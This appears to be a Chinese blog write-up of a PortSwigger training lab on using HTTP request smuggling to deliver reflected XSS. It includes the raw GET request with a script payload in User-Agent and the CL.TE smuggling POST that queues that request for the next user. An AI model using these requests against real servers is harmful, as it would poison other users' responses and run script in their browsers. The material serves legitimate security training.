从业者-利用请求走私-传递反射型XSS
# 实验室:利用HTTP请求走私传递反射型XSS
# 题目
此实验室涉及前端和后端服务器,前端服务器不支持分块编码。
应用程序容易受到源自User-Agent
标头的反射型 XSS (opens new window) 攻击。
若要解决实验室问题,请走私一个请求到后端服务器,使下一个用户的请求收到含有alert(1)
的 XSS 响应。
笔记
- 尽管实验室支持 HTTP/2,但预期的解决方案需要依靠 HTTP/1 中的可用技术。你可以在 Burp Repeater 的面板 “Inspector > Request attributes” 部分手动切换协议。
- 该实验室会模拟受害用户的活动。你每向实验室发出一定数量的 POST 请求,受害用户就会发出自己的请求。你可能需要重复几次攻击,以确保受害用户的请求按要求发出。
提示
在请求走私攻击中,手动修复长度字段可能很棘手。我们的 Burp 扩展 HTTP Request Smuggler (opens new window) 可以提供这方面的帮助。你可以通过 BApp Store 安装它。
- name: 实验室-从业者
desc: 利用HTTP请求走私传递反射型XSS >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
GET /post?postId=4 HTTP/1.1
Host: ...
User-Agent: carsaid"><script>alert(1)</script>
1
2
3
4
5
2
3
4
5
POST / HTTP/1.1
Host: ...
Content-Length: 88
Transfer-Encoding: chunked
0
GET /post?postId=4 HTTP/1.1
User-Agent: carsaid"><script>alert(1)</script>
Foo: x
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
编辑 (opens new window)